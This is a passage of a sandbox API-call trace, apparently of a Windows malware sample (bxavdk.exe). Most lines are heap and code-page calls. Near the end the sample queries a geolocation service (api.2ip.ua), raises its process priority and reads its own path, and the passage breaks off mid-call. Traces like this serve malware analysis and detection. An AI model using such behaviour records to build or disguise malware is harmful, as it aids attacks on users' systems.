(HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x67e950 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x82) returned 0x68bbe8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x684a70 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x688a00 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x684aa8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x68bc78 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x68bcd8 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x684ae0 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x67e998 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x68bd38 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x684418 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x684b18 [0033.163] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x8c) returned 0x68bd98 [0033.163] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x68ab60 | out: hHeap=0x5e0000) returned 1 [0033.164] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x80) returned 0x68be30 [0033.164] GetLastError () returned 0x0 [0033.164] SetLastError (dwErrCode=0x0) [0033.164] GetLastError () returned 0x0 [0033.164] SetLastError (dwErrCode=0x0) [0033.164] GetLastError () returned 0x0 [0033.164] SetLastError (dwErrCode=0x0) [0033.164] GetACP () returned 0x4e4 [0033.164] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x220) returned 0x68a088 [0033.164] GetLastError () returned 0x0 [0033.164] SetLastError (dwErrCode=0x0) [0033.164] IsValidCodePage (CodePage=0x4e4) returned 1 [0033.164] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb9c | out: lpCPInfo=0x18fb9c) returned 1 [0033.164] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f664 | out: lpCPInfo=0x18f664) returned 1 [0033.164] GetLastError () returned 0x0 [0033.164] SetLastError (dwErrCode=0x0) [0033.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x18f3e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0033.164] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f678 | out: lpCharType=0x18f678) returned 1 [0033.164] GetLastError () returned 0x0 [0033.164] SetLastError (dwErrCode=0x0) [0033.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x18f3b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0033.165] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.165] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f1a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f978, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbf\x4b\x33\x30\xb4\xfb\x18", lpUsedDefaultChar=0x0) returned 256 [0033.165] GetLastError () returned 0x0 [0033.165] SetLastError (dwErrCode=0x0) [0033.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x18f3c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0033.165] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.165] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f1b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0033.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18f878, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbf\x4b\x33\x30\xb4\xfb\x18", lpUsedDefaultChar=0x0) returned 256 [0033.165] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0033.165] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x68a2b0 [0033.165] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40b78a [0033.166] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.166] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.166] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.166] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.166] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x110) returned 0x68beb8 [0033.166] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.167] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x6880f0 [0033.167] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.167] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.167] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.171] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68be30) returned 0x80 [0033.173] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0034.149] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x67ec68 [0034.149] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0048.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18be78, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e678 | out: lpBuffer=0x18be78*, lpdwNumberOfBytesRead=0x18e678*=0x1d1) returned 1 [0048.594] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0048.596] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0048.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x695f70 [0048.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1e0) returned 0x6c41b0 [0048.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c41b0 | out: hHeap=0x5e0000) returned 1 [0048.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x695f70 | out: hHeap=0x5e0000) returned 1 [0048.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x67ec68 | out: hHeap=0x5e0000) returned 1 [0048.597] GetCurrentProcess () returned 0xffffffff [0048.597] GetLastError () returned 0x2 [0048.597] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0048.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x6ba330 [0048.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x110) returned 0x327d5d8 [0048.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x32d26e0 [0048.597] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32d26e0, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe")) returned 0x30 [0048.597] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0048.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x32d2ee8 [0048.597] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" " [0048.597] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" ", pNumArgs=0x18e758 | out: pNumArgs=0x18e758) returned 0x32b01a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0048.598] lstrcpyW (in: lpString1=0x18f408, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0048.598] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" " [0048.598] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" ", pNumArgs=0x18e6f4 | out: 